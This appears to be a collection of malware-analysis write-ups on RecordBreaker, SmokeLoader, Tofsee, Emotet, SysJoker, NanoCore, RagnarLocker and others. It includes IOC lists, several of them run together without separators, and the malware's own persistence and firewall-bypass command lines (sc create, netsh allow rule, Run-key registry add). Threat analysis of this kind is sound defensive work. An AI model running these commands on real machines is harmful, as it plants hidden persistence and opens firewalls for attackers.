• InstallUtil.exe
• aspnet_compiler.exe

Once injected into the legitimate process, RecordBreaker will start working, in the first phase, it will resolve imports, since by itself, it only has the ability to load other APIs/libraries with GetProcAddress + LoadLibraryW. When it has all the new libraries and APIs loaded, we will get a better understanding of the code, and the malware, new capabilities.

We can see how it performs a reinfection control using Mutex with a hardcoded string

And we can see how it obtains data that will be used later encrypted in RC4.

After a decryption phase, it collects data from the machine, user, search engines, etc. Which it will collect on the basis of an internal configuration.

In this phase, we can also see, depending on versions, how it performs download requests to malicious IPs to bring more functionalities to the code.

To obtain the data, RecordBreaker will use SQLite to perform queries and obtain all the information it is interested in, and then save it in files that it will send to the C&C.

The main information that RecordBreaker usually steals is:

• Browser (Cookies, User info, Passwords)
• Telegram info
• Bank Information (Cards/Accounts)
• CrytpoWallets

All this information will be sent to a C&C server and since you have performed a persistence, it can continue to increase this information :)

_IOC

_SHA256

502e941d65f743b781b0214c9c37b8d4cca4b27fa7d62be943a63a9de93812d37f2e0645947bc96cd2f5edd2260db48f09102dcfd0fcd85896d287c1b621770d7dc73e29c582c16283115de0c5d03ecc102b47b82f4b4e957f2630d935967b61B5137e4be20605c7ad8b5bc1045210c9c42ae4190be76aab1bc72e0a71c703d2Ba69e1ed08c7288821223595c9b220bc5c53d0485930958a1db415a3f7f56945767cdc4f8adf3bdfeec2879b0976476dcc0aeeeee5e524d3c2e4ade70c181e9c207256464e91fde4a35aad23a7a56ef9f9438cd3ef946418f6e06a00e70d7808D184612e2f0b0b065986b94869296330d56e356e2d1ef077461e064bdcb4d3a20050ab6912e9c63bb65930ef52094fca855f8dab9210f74b1d9e2c6c61c9d5b0dba0be52e9c4d97b164f7c131710f4761b16b2c4ddacafe5cfe10bfbc6148c3c3bf0e1d823e337ba4372bd55bb57d93789bda09c5bf3d8b82a308781c8f9a09f3339d515567a632170ca67cf4ee006f24166f9fb47b317b44abada6f5174d1f969eac55ff687843f9d856e7facdef36d1c53faa5df6ff3eab874a1426a5efcea4dd0e5762e6ae6553863f594262e8a1d3f48635d1f49ced7975fc5842fa69a14

_IP

89.208.104.4688.119.170.24185.192.63.46206.166.251.254172.111.36.191102.130.114.18591.201.25.17294.131.107.239193.106.191.223

_Domains

http://rgyui[.]tophttp://acacaca[.]org

SmokeLoader is a malware that generally acts as a backdoor and is commonly used as a loader for other malware. Attributed to the criminal group Smoky Spider, a group that uses SmokeLoader and Sasfis, loader and downloader respectively. SmokeLoader has been used as a bot in infrastructures and contains strong evasion capabilities as well as Anti-Analysis, Anti-VM and Anti-DBG techniques.

_Technical Analysis

SmokeLoader appears on systems usually through phishing, although it can be loaded by other PUP/PUA or malware. The main execution will revolve around a document that will spawn the SmokeLoader which will run, in most of its versions, a version of itself in a suspended state to inject code, after which it will execute an explorer.exe that it will inject again in order to perform the malicious C&C actions or download other files using legitimate software.

The samples that have been found have in most cases been detected as packed, due to the high level of entropy contained in their sections.

At the initial point, we see how it tries to load libraries in RunTime, something really useful since it prevents us from being able to discern its intentions if we perform a basic static analysis, so it will obtain new functionalities during its execution.

In some of the techniques used to hinder the analysis, such as code obfuscation, we find different hidden calls, as well as abuses of RET to reach calls that we will not see statically.

As mentioned above, it fetches libraries during runtime and is dedicated to resolving APIs that it could use later on

At all times, it has control over what is running on the machine, as it subsequently performs various Anti-Vm and Anti-dbg techniques, so having all running processes mapped is always a good technique.

After this, it starts loading APIs that will serve it moments later, in which we will see a routine that will be loading from memory and using LoadLibrary + GetProcAddress

APIs:

CreateFileACreateWindowExACreateProcessAWriteProcessMemoryResumeThreadDefWindowProcANtWriteVirtualMemoryRegisterClassExAGetStartupInfoASetThreadContextGetCommandLineAPostMessageAVirtualAllocExCloseHandleVirtualAllocVirtualFreeVirtualProtectExExitProcessGetMessageExtraInfoWaitForSingleObjectNtUnmapViewOfSectionMessageBoxAReadProcessMemoryGetThreadContextWriteFileGetModuleFileNameAGetFileAttributesAWinExecGetMessageA

Once it has the libraries, APIs and processes controlled, it creates a process in suspended state, for this it uses CreateProcessInternalA that will call CreateProcessInternalW entering 0x04 in dwCreationflags to create the process in suspended state.

Once the process is created in a suspended state, it proceeds to introduce the binary inside the previously spawned process, which, through ProcessHollowing, will unmap data from itself, to write the binary inside, this is usually done through ZwUnmapViewOfSection + VirtualAlloc + ZwWriteVirtualMemory, once introduced into the memory of the process in suspension, it will stop being suspended and will execute it, so the memory file will be detonated.

[ The binary extracted from memory, which will inject explorer.exe, is very interesting, we will follow soon :) ]

_IOC

_SHA256

Ebdebba349aba676e9739df18c503ab8c16c7fa1b853fd183f0a005c0e4f68aeD618d086cdfc61b69e6d93a13cea06e98ac2ad7d846f044990f2ce8305fe8d1bEe8f0ff6b0ee6072a30d45c135228108d4c032807810006ec77f2bf72856e04a6b48d5999d04db6b4c7f91fa311bfff6caee938dd50095a7a5fb7f222987efa3B961d6795d7ceb3ea3cd00e037460958776a39747c8f03783d458b38daec802502083f46860f1ad11e62b2b5f601a86406f7ee3c456e6699ee2912c5d1d89cb9059d615ce6dee655959d7feae7b70f3b7c806f3986deb1826d01a07aec5a39cf5318751b75d8c6152d90bbbf2864558626783f497443d4be1a003b64bc2acbc279ae89733257378139cf3bdce3a30802818ca1a12bb2343e0b9d0f51f8af1f10F92523fa104575e0605f90ce4a75a95204bc8af656c27a04aa26782cb64d938d

_IP

216.128.137.318.209.71.53

_Domains

host-file-host6[.]comhost-host-file8[.]comfiskahlilian16[.]toppaishancho17[.]topydiannetter18[.]topazarehanelle19[.]topquericeriant20[.]topxpowebs[.]gavenis[.]mltootoo[.]gaeyecosl[.]gabullions[.]tkmizangs[.]twmbologwuholing[.]co[.]ugquadoil[.]ru

Tofsee is a malware used for mass campaigns, which does not have an associated group or actor. It has gone through different phases, but has generally been used to create Botnets or SpamBots, as well as mining actions. The starting point of Tofsee is usually a Loader or an email using the SpearPhishing technique that will launch the malware. It has been in all its stages a really worked malware, with code obfuscations, packaged samples, anti-analysis techniques, which led to a backdoor to perform minings taking advantage of the botnet features or to perform Spam.

_Technical Anlysis

After the loader or phishing we would see Tofsee running on the computer, an overview of how the current versions of Tofsee work can be seen in the following schematic diagram

The actual way of working of the current versions usually has different variations, but in essence it works similar, after the execution of Tofsee, a copy of itself is created in SysWow64 (or equivalent), which then moves to temporary folders, usually the sample of the temporary folder and the one of SysWow, will not have the same name. After this, it creates a service using sc.exe, usually with a name and/or description related to elements of the network. Later, it makes modifications in the FireWall to add an svchost to a completely permissive rule, this svchost is the one that would have injected in the process. After this execution, you will be able to perform your tasks within an svchost which, observing processes would be difficult to discern also having permission to send and receive all types of traffic through the Firewall and with a service that allows us to launch the backdoor as if it were a system service.

.├── (Parentprc) Tofsee.exe|     ├─ (Childprc) (Moved | Dropped) <RandomName>.exe|             ├─ (Childprc) Netsh/cmd/sc|             ├─ (Childprc) (Injected) Svchost |                     ├─ (Net) C&C

A large number of samples have been reviewed to narrow down the current versions of tofsee as much as possible, an example of what we would see when viewing one of them in PEstudio would be as follows

At the first step, we see how it launches a copy of itself to SysWow64 which it then moves to a temporary folder, the commands used, launched by cmd.exe are the following:

"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\<File Dropped (itself)>"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\<random name>" C:\Windows\SysWOW64\<File Dropped (itself)>

After having two files in different locations, it uses one of them (SysWow location) to make the modifications in the defenses, as well as the persistence using a service. For the creation of the service, we can see that it creates with own start a service “Wifi Support”, as we had commented before, usually it is habitual that it is related to something of the network, trying to avoid to be found.

The command used, launched by sc.exe is as follows:

"C:\Windows\System32\sc.exe" create <Name of file dropped> binPath= "C:\Windows\SysWOW64\<Path file moved>\<Random name> /d\"C:\Users\<username>\Desktop\<Random Name>"" type= own start= auto DisplayName= "wifi support"

Once it has created the service, It has ensured that the backdoor will remain on the computer launched as another service and going completely unnoticed, so need to modify FireWall rules to prevent its communications to the outside from having any problems. For this, it launches through netsh.exe the creation of a rule that allows all the traffic for a svchost process (the one that is injected).

The command used is:

"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes

In addition, we can see, that it enters it in exclusions in registry key, being the path with random name the place where it was previously self-dropped

While all the above processes are being launched, we have the other binary in a temporary path performing other actions, such as injecting an svchost, the same one we have seen that has been introduced in exclusions and a rule has been created in the FireWall. During a normal execution, we would find an svchost without a parent process, which, after looking at it in depth, we would see that it is another of the binaries launched by Tofsee by locating it by PID

This binary is the other binary that Tofsee worked with and had previously moved to %temp%.

Once in this phase, you have the Tofsee functionalities inside a legitimate process, with persistence created and with fully open traffic on the FireWall that you will use to connect to a C&C server.

The most common destinations in the campaigns used at recent months are the following (Russian or Chinese IPs/domains are commonly used by Tofsee):

svartalfheim.toplazystax.ru

_IOC

_C&C

svartalfheim.toplazystax.ru

_SHA256

9ff3eb5bac86aef0116488ac380f9d7ea15d27f9d580462fcf3612293525f50f2f5b289a8dcb26ed9389a49687e513f162ed3145469a5cb90f0aab45c699c3d922179b5cece54e42dbc249c5112994e0e760c2435f3547579d04d19882b79b033c38e00f572800dfdcf676a141e4b98903977368f8870cd29221b3320b640ed4E64afadba25eededfb3259f10671cf5551e53341e13702489a7c334fcf6514b0A96edd53cb70eb51f8bb9fbd0b9d0777e6b65c5203fb3b73229431b49da155e4F6bf44f37a819ce566e217cf94a3de32a404cf303700f82788b44f9fde8e0937Ddaada491b8cf4d1187cb01078c5f3fd167e76c324d3e0db83753a6922e739f41dc4c40d2a971bcfba32e21ab5ff5c127aa1cea66a72176b753c8c9d0d54fc25820b43708e064c1a6eb1eeb411b011e900fcd162afdd55d077ef619777a9d12bD5a45f5fbe4d0679d208908a1282e6675456cf565b427d886cab0b2fdf92c21b5a3ac08cf1bdee0dfe30bcd306c5613a7526eda1a1eaec00d76f3681b25f86945b3ed204bf794afc4d32c750e74a219c4730b2a96ded36c6ea2753581158ab115b5cae86c3a28fc013bce2e327c424168e212220b8b284714bbccf9926e7cb6e5bb633fef2f50ca5ec2302ea37800f68c76596ef770c394e706f57a5d655feac5bcc5563c17c7805651b50c509b6862ef554948336fbec1f99f9059a65d6b7035c3b9c929cac14277c3f810b57a487a6093470e3b4fd56ac65ab2d3f6b4e9959460a0c6a2f32fd82774d45670a9110f046b3fbf4093d17ca378b0f4f63de6e0e93ead5f86a3eda573a375afebaa3651c2f48c4381e657a0819176a79843749cb40ca993b529a245ebf6ad5deb1b11beffc24a8ddd5c908e341ae886a2df3351cC526be053d1279fd214ac204c23ce79ee034af6d6213fff69f31a19a53f5bba246359601942519b156cf35e91a252abb4381c695ec053216efc948729d2eb2ab6644c412c44c8686437b1fa3ad6d5698c1071ac133ccd060b1062df37b081f1e9c2a732f02510a2524d1ffb52ea6c96a93c3ee6bb3ad777181596f370c030da3C5a593ba8d3006cbd55a0b41436e055eeed50a122b2a0f8d28fa30624565dc48B10c82428c7284ce3ab78edeaf6582fcbc93e3a647559fba49bdc1589df13ab9A5aaf507390c8ab2bd12849e68a740b19c97e5bfdfd3459ca0f120490fee3fd0e248be07f11c33ff0af5bdd36d2bca1ae9c392223bd5b14c600b15637e02c5f7a06f640a6317ffeaed88cf7a08c8680a4bc4abe69286bce68f03c19ba319e103

_IP

31.41.244.12631.41.244.12731.41.244.12843.231.4.746.173.223.21298.136.96.76111.121.193.242

Machete is a group that currently has no associated country, but it is believed that its origin or part of it belongs to Spanish-speaking countries. This group began operating in 2010 and this year has had a major impact in many countries, being particular in this area, as it attacks a large number of them, with an emphasis on Latin America, Spain and Russia.

Being their main targets defense departments, government entities and companies dedicated to energy and telecommunications, they gain initial access using the social engineering distribution method, with a great eagerness for Spear-Phishing emails, although they have also been seen exploiting vulnerabilities, once they have gained access, the phases vary depending on the malware they use, but the main objective is to generate persistence, open connections outside creating a secure channel and steal information from the victim that will exfiltrate through the previously created channel.

SilentBuilder is a campaign that is being used to launch bankers such as Emotet to increase the Epoch5 botnet as well as the usual tasks of this malware. The similarities between other loaders that launch Emotet and that, once the banker is in our computer, tries to contact C&C, we could understand that this is a typical modus operandi of the criminal group Mummy Spider or TA542.

_How it Works

The attacker will access our system after a phishing email, more specifically SpearPhishing [T1566.002], as it will contain an attachment such as an XLS or DOCX, after this, since the document will contain macros or hidden functions, it will download a file, usually a dll, once downloaded it will be launched on the computer abusing Regsvr32.exe to search a list of C&C servers.

_Static Analysis

Once the document is downloaded, we find, in my case, an xls, which after a glance we can see that it contains interesting functions that will run automatically when opened.

An interesting fact is that in this sample we see that it has the usual warning that will launch the functions and, in addition, another warning made by the attacker that will be a simple image.

After this, we see a completely blank document, with no pages, no macros… Inquiring, we see that it does have internally pages with characteristic names and that they were hidden.

Once again the sheets are empty… After reviewed the document and by changing the color of all the pages we found all the functions obfuscated and disordered.

In one of the sheets, we find the most important function, which would deobfuscate most of the functionality that will have the functions of the document.

We obtain, as we can see, functionalities for downloading a supposed library (nhth.dll) from different domains:

_Dynamic Analysis

Once we have an idea of how the document is going to work internally, let’s check if we are right.

We see that once the excel is launched, it makes a request to a domain and downloads a file (we observe in the network traffic the MZ header typical of Windows PE). After this, we can see that it downloads the dll in \users\< YourUser >\ , and then it will move it to the path \AppData\Local\< RandomName >\ with another name < RandomName >.adj

We can see that if we compare the file obtained from the network traffic and the one found in \users\ or in \AppData\ , it is the same file.

After this, we will see that the dll will try to contact a list of C&C servers.

If we look at the origin of all the addresses it tries to contact, we can see that it has servers in most of America, Europe and Asia, among others.

How long will they continue to exploit Emotet? Who knows…

_IOC

_Download Emotet

fccatinsaat.comfreemanylaluz.comfutaba.youchien.netfabulouswebdesign.netfreewebsitedirectory.comdominionai.org

_C&C

159.203.141.15679.143.187.147189.232.46.16151.91.76.89119.193.124.41176.104.106.961.234.21.7382.165.152.127167.172.253.162153.126.146.25216.158.226.206103.75.201.2188.44.20.25101.50.0.91159.65.88.10176.56.128.11872.15.201.15203.114.109.124212.237.17.99192.99.251.5050.30.40.196173.212.193.249189.126.111.200195.154.133.2058.227.42.23646.55.222.1145.176.232.124195.201.151.129151.106.112.196209.250.246.206131.100.24.2311.234.2.232164.68.99.351.91.7.5167.99.115.355.9.116.246185.8.212.13031.24.158.5645.142.114.23179.172.212.21645.118.135.203146.59.226.45178.79.147.66159.8.59.82158.69.222.10150.116.54.215196.218.30.83129.232.188.9345.118.115.9951.254.140.238209.126.98.206107.182.225.142134.122.66.193185.157.82.211110.232.117.186197.242.150.244103.43.46.182212.24.98.99201.94.166.162104.131.11.205138.197.109.175187.84.80.182206.189.28.199160.16.142.56183.111.227.137103.132.242.26103.70.28.102172.104.251.154

SysJoker is a backdoor which appeare for the first time at the beginning of 2022 whose power resides in being cross-platform. Its main objective is to install itself in our computer and perform espionage and/or data theft tasks. Currently it has not yet been attributed to any group or campaign.

_What we see at a glance

At this sample written on C++ will be several mentioned functionalities before

SHA256:

1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c

We can see at a glance how a powershell is executed after the binary, which will have different utilities and will be used in different points

_Analysis

Seeing how it works from the beginning, SysJoker will perform a folder creation, usually in ProgramData or in subfolders of AppData in which it will leave a copy of itself named after legitimate software, in this case using igfx, in its legitimate variant related to Intel Graphics Common User Interface.

Execution flow:

.├── (Parentprc) SysJoker.exe|     ├─ (Childprc) Powershell.exe|     ├─ (Childcmd) powershell.exe copy '<Sysjoker source path>' '<Sysjoker destination path>'

After this, we will see how the dropped file is executed in the previously mentioned folder, and it will obtain different important elements of the equipment such as: MAC, OS and Network. It will save it in different .txt files, which will be in the same path where the copy is running. As we can see, it sometimes uses the internal WMIC tool to get certain data and dump it.

Commandlines:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'"C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber"C:\Windows\System32\cmd.exe" /c wmic OS get Caption, CSDVersion, OSArchitecture, Version / value > "C:\ProgramData\SystemData\tempo1.txt" && type "C:\ProgramData\SystemData\tempo1.txt" > "C:\ProgramData\SystemData\tempo2.txt"C:\Windows\System32\cmd.exe" /c wmic nicconfig where 'IPEnabled = True' get ipaddress > "C:\ProgramData\SystemData\tempi1.txt" && type "C:\ProgramData\SystemData\tempi1.txt" > "C:\ProgramData\SystemData\tempi2.txt

After the previous step, the files will be deleted since the information will be hardcoded before being sent to a C&C server, this information will be dumped to a supposed dll, which, we can see that it is simply coded information.

After this, it will persist on the computer by adding the previously copied file to the registry key CurrentVersion\Run with which it will get execution again in a forced way (/F) every time we start the system.

Commandline:

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D "C:\ProgramData\SystemData\igfxCUIService.exe" /F

As for communications against C&C, it has been seen to use different domains drive.google.com or github to make it more difficult to detect traffic and perform rule creation. In short, the Sysjoker does not bring anything relatively new, but it has a quite characteristic methodology that makes it quite recognizable.

OperationLayover also called TA2541 is a group that uses SNIP3 loader to attack targets related to the transport, aviation, and travel sectors around the world. A group that first appeared in 2013. Using Malware-as-a-service and Cryper-as-a-service Malware campaign models to attack their opponents, using these models have orchestrated and constantly updated executions. The group is originate from Nigeria, as a large number of VPNs have been seen being used from this country to launch attacks. Their main motivation is information theft and espionage by performing various exfiltration methods.

This group carries out its attacks using rudimentary techniques without an excessive level, but quite effectively. An example of this is the use of the Snip3 campaign in which the entry point is usually a mail with a document attached and later it combined different scripts to launch different Remote Admin Tools (RATs) which will be injected into .NET related software, where after the information theft the information will be exfiltrated

Once the attack is carried out, the actor will seek to exfiltrate sensitive information from the attacked company in order to use it against them

Here are the slides from RootedCON where I presented everything I extracted from this group that was found in different incidents, as well as the malwares used during the whole campaign (Sry is in Spanish):

RagnarLocker is a Ransomware normally associated with the group Viking Spider whose InitialAccess is varied, but as usual, they perform direct attacks trying to exploit systems or after the abuse of legitimate applications or by implanting malware inside these, after these movements, the most common is to gain maximum access and control within the attacked company to encrypt as many computers as possible.

_Technical Analysis

At the first steps, we find a common function in the Ransomwares that tries to determine which country runs the Malware, this is because certain groups use targets depending on the country and avoid certain countries, as we can see it locates which country we belong to using GetLocaleInfoW and compares it to an internal list of countries as an exclusion, in the case that our country was in the list and the function returned any of the list, it would end the execution.

List of country languages:

BelorussianAzerbaijaniUkrainianMoldavianGeorgianArmenianTurkmenRussianKyrgyzKazakhUzbekTajik

Later, it obtains the computer name and user data, as well as the MachineGUID of the computer using the Microsoft RegKey Crypthography or the ProductName using the RegKey Windows NT\Current Version, something that Ransomwares usually do to obtain information from the computer that they can then use to identify the machines.

After identifying disks to be encrypted, it is dedicated to enumerate services, in which, we can see that it uses the EnumServiceStatusA, in which it will ask the DB of the control manager (previously opened with OpenSCManagerA) and will compare each one of the services with the internal list, in case it finds something related to its exclusion list it will close it using CloseServiceHandle.

List of exclusion services:

vsssqlmemtasmepocssophosveeambackuppulsewaylogmelogmeinconnectwisesplashtopkaseya

After that, it will create the usual ransom note in which it will ask for money (usually cryptocurrencies) to ransom the encrypted files, as we can see, it will first create the file by obtaining from memory the name of the txt and will perform the first creation in \Public\Documents, directory obtained through the CSIDL identifier using SHGetSpecialFolderPathW, after creating it it will rescue from memory both the data it contains in a predefined way and the hash it will create as our identifier that will be used to contact the attackers, in this case using qTox.

Later, it will try to encrypt the files avoiding some folders, files and extensions that it will also check in memory, avoiding touching what it does not need to encrypt or that could alert of its presence, it will make a loop to check the files in each case.

An example of what a short file would look like before and after being encrypted, in which we can see how it will introduce the keys and the RAGNAR tag at the end.

Finally, to execute the txt in the default session in which the RagnarLocker has worked, it performs an Interactive window station in which we will see how it gets the session identifier, the process that is running the Ransomware, duplicate your token, get the session, and so on, to spawn the file in the session and that, at the end of its operation, we know what are the steps and what has happened in each of the affected computers.

NanoCore is a RAT (Remote Admin Tool) used by cybercriminal groups such as APT33 (Refined Kitten) whose InitialAccess is varied, although it has been most commonly used through fake emails with .zipx extensions or with fake formats, which is commonly called phishing (T1566) or in this case, since it contains a file in the email and its objective is execution on disk to go further, it would be more accurate to call it Spearphishing (T1566.001).

The main potential of NanoCore is usually to steal data from the computer and user once it has gained access to the disk, but once it is inside, it could perform any action from the outside, and, of course it depends of version.

To this analysis, I have divided into two parts, which is usually a common practice in which we observe first statically everything we can get in the shortest possible time and then a dynamic in which we will see how it behaves, although, we will lose information if we do not monitor properly or not debug.

_Static Analysis: Obfuscated Script

We start from a VisualBasicScript (VBS) which is quite obfuscated although we can distinguish some interesting words like “http“ or “OwerSheL“ and some “replace“ that will help us in the deobfuscation, for now we can’t see much so we have to get on work.

After working the script in the deobfuscate and get the most in the shortest possible time, we can see in a small scheme how this first stage works. On it, we find an IP [ 52[.]231.98[.]236 ] to which it will make a download request using “DownloadString“, as expected, using powershell and after this, it will execute the content that downloads

At a controlled environment, we visit the website against which the request is made, we may find another similar script (the one executed previously) which, as usual in this type of loaders, hides another obfuscated script creating script chains so that the analysts lose interest or increase the difficulty of the analysis and that campaigns last as long as possible.

Later, we will find another obfuscated script that will try to do the same as the previous one, complicate the work and make us know the minimum of the attack.

After the previous script, we move on to the next one, in which we can see how it makes another request to the same IP but this time using another file (Server.txt) that at the time of analysis was already supposed to be another obfuscated file, which we will see now. After this obfuscation, we can see that the attacker manages to generate persistence in RUN by introducing a New.vbs file in it, which is none other than the same file as before that will execute again every time the system is launched, what would be Persistence (TA0003) whose more concrete technique would be T1547.

We see that it also collects in variables the RegKey \Explorer\User Shell Folders to generate persistence, simply, you can enter a registry key in the previous key pointing to \Public\Run\New.vbs and you will get the desired execution at each session startup.

Persistence Using Regkey pointing to vbs:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell FoldersHKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

For a better understanding, a scheme of the deofuscation would be the previous one, in which we observe in cascade, in a summarized way, how the deofuscation has been done, after this, the connection to the IP releases another file that as we can see, alerts us of a PE signature with the typical 0x4D5A

As we have seen in the previous image, we take out the binary and, as expected, we get the NanoCore client, as usual, with an obfuscator on top.

_Dynamic Analysis: Monitoring execution

After the static section, we can know how it is going to behave and we have clear where to put the focus, so we observe how the powershell is going to be executed, in which, we see how it makes the request to the first web and if we did not have the file physically, we would have to extract it manually from this request.

An important aspect is the use of aspnet_compiler.exe, since it is usual in this type of RAT to inject the code (or perform process hollowing) of the final binary in a legitimate software, we will see that it stays started after the execution of the loader, the reason is simple, the RAT has already started and is doing its task which, at first glance you can not see anything abnormal. We can also see injected MSBuild.exe.

After running the powershell, we can see the same request 2 times to obtain the succession of obfuscated scripts, in which at the end, we obtain the RAT

After this, we see how it has introduced the file in \public\run so it has generated the persistence in the registry key that we had mentioned in the previous section.

Then, we will see, as usual in this Malware, it collects certain information obfuscating it and introducing it in some path of \AppData\ or \Public\ with extensions .dat, usual directories of use in this type of actions to avoid as far as possible that it is not found.

One of the biggest current threats in terms of cybersecurity and the one that most concerns companies today is the Ransomware attack, its power be on encrypting as much as posible, regarding some exclusions and try to expand into a company to do as much damage as possible and request a ransom based on extortion. Babuk a ransomware with a short lifespan, is the first one in 2021.

Distinguished by a little perfected behaviour, it has already appeared in some companies, requesting for ransoms, like all the previous Ransomwares.

An example of this is the attack to Serco and PhoneHouse, in which, after cypher computers, they requested near 100.000$ through Bitcoin, the extorsión tryies to publicy sensitive and privacy content about clients, something that would cause any company to lose customers